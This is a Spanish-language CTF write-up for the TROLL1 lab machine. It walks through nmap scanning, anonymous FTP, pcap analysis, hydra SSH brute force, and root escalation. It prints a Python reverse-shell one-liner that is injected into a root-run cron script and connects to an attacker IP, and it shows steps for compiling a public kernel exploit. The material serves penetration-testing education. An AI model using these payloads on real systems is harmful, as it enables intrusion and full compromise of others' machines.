Post

Resolución de TROLL1 CTF

Resolución de TROLL1 CTF

Reconocimiento inicial

Descubrimos los HOST activos:

1
sudo nmap -sn -n 192.168.20.0/24

En este caso sabemos que la maquina es la 192.168.20.128 por lo que escaneamos los puertos activos de forma segura para no ser detectados.

1
sudo nmap -sS -n -ff --top-ports 5 192.168.20.128

De nuevo aquí sabemos que esta máquina únicamente tiene los puertos 21,22 y 80 activos. Ahora vamos a ver que servicios y que versión corren esos puertos:

1
sudo nmap -sV -n -p21,22,80 192.168.20.128

Nmap scan

Como vemos que en este caso el puerto 80 está activo significa que está corriendo alguna aplicación web así que vamos al navegador a verificar.

En esta aplicación habrá archivos y contenido dentro de la aplicación web utilizando DIRBUSTER etc.

Sabiendo que servicios corren podemos buscar vulnerabilidades públicas y si tienen PoC.

Explotación de FTP anónimo

Observamos que tiene un servicio FTP activo en el puerto 21 y que este servicio por defecto implementa un acceso anónimo, por lo que podremos probar.

1
ftp 192.168.20.128

FTP anonymous Como vemos esta máquina tiene un login anónimo en FTP.

Listamos archivos y vemos un “lol.pcap” así que lo traemos a la máquina principal:

1
2
get lol.pcap
exit

Abrimos el archivo con WIRESHARK:

Wireshark analysis Y vemos registros de inicio de sesión mediante FTP

En este tipo de conexiones es interesante ver que archivos y que transferencias se han realizado:

FTP data En este caso en un FTP-DATA encontramos algo más de información.

Como vemos es alguna guía para este CTF indicando que casi pero no. Podríamos intentar buscar algo sobre esta información en la aplicación web.

Exploración web y enumeración

En el navegador vamos a buscar el directorio http://192.168.20.128/sup3rs3cr3tdirlol/

Encontramos un archivo y lo descargamos.

Si lo abrimos vemos que es un binario en que solo distinguimos algunas cadenas de texto.

Binary analysis Como vemos hay algún tipo de pista.

A lo mejor se está refiriendo a la aplicación web http://192.168.20.128/0x0856BF/

Vemos dos carpetas en las que hay dos archivos uno con una contraseña y otro con lo que parece una lista de Usuarios:

1
2
3
4
5
6
7
8
9
10
maleus
ps-aux
felux
Eagle11
genphlux < -- Definitely not this one
usmc8892
blawrg
wytshadow
vis1t0r
overflow

Fuerza bruta SSH

Ahora bien, si recordamos esta máquina tiene varios servicios, FTP, HTTP y SSH, quizá esto indique algún usuario válido para poder acceder por SSH.

Para ello si tenemos el usuario concreto y su contraseña pues lo hacemos manualmente si no podemos usar algunas herramientas automáticas. Una de las más famosas es HYDRA:

Descargamos los archivos de texto de la máquina a la nuestra con:

1
2
curl http://192.168.20.128/0x0856BF/good_luck/which_one_lol.txt > users.txt
curl http://192.168.20.128/0x0856BF/this_folder_contains_the_password/Pass.txt > pass.txt

Modificamos el documento para eliminar esa cadena de texto innecesaria y vamos con hydra:

1
hydra -L users.txt -p "Good_job_:)" 192.168.20.128 ssh

Pero parece que no es correcto ya que hydra nos devuelve que no ha encontrado coincidencias. Teniendo un poco en cuenta que es un CTF y que la carpeta donde copiamos la posible contraseña se llama “this_folder_contains_the_password”, pensando un poco y siendo creativos podemos pensar que es “Pass.txt” así que vamos a probar:

1
hydra -L users.txt -p "Pass.txt" 192.168.20.128 ssh

Hydra success Como vemos en este caso ha conseguido acceso mediante una coincidencia.

A todo esto hay que tener en cuenta que todo esto será monitoreado por prácticamente cualquier IDS como SNORT si se realiza así sin más o sin protección por lo que es algo a tener en cuenta ya que hydra básicamente hace un ataque de fuerza bruta.

Post-explotación y escalada de privilegios

En este punto podemos tomar tres caminos:

  • Descubrir que proceso nos termina la sesión por timeout
  • Descubrir ficheros a los que tengamos acceso desde la máquina
  • Buscar vulnerabilidades para la versión del sistema operativo que esté ejecutando la máquina

Vamos a ver si podemos eliminar o configurar el proceso que nos termina la sesión:

1
cd /var/log

Listamos y vemos un archivo cronlog que si analizamos está ejecutando un archivo llamado cleaner.py

Cronlog analysis

Buscamos donde se encuentra ese archivo y vemos su contenido:

Cleaner.py content

Es un script en python que de forma recursiva elimina a todo el contenido de la carpeta tmp pero si vemos quien ejecuta este archivo es el usuario root y tiene un problema de seguridad y es que el archivo se puede modificar por cualquier usuario.

Buscamos un script de python para activar un reverse shell desde el archivo: PayloadsAllTheThings

1
import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.20.129",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")

Con un nano vamos a modificar el script de python añadiendo esa línea de ejecución y vamos escuchar por el puerto con netcat:

1
2
nano /lib/log/cleaner.py
netcat -lvp 4242

Y cuando el archivo se ejecute veremos como obtenemos una reverse shell de la máquina con privilegios root:

Reverse shell

De nuevo esto es una máquina preparada por lo que en el mundo real no se encuentran esos script diseñados para poder explotarlos.

Método alternativo: Kernel Exploit

Pero sí que en un caso real podemos hacer un análisis sobre vulnerabilidades que tenga algún servicio desactualizado que proporcione una brecha de seguridad que podamos explotar.

Por ejemplo hay un exploit del kernel de linux en su versión 3.13.0 en las versiones de Ubuntu 12.04/14.04/14.10/15.04 https://www.exploit-db.com/exploits/37292

Para probarlo podemos copiar el exploit e ir a una dirección donde el usuario de ssh pueda escribir como es TMP:

1
2
3
4
pico exploit.c
# Pegamos el exploit
gcc exploit.c -o hacked
./hacked

Privilege escalation Y como vemos tenemos escalado de privilegios

This post is licensed under CC BY 4.0 by the author.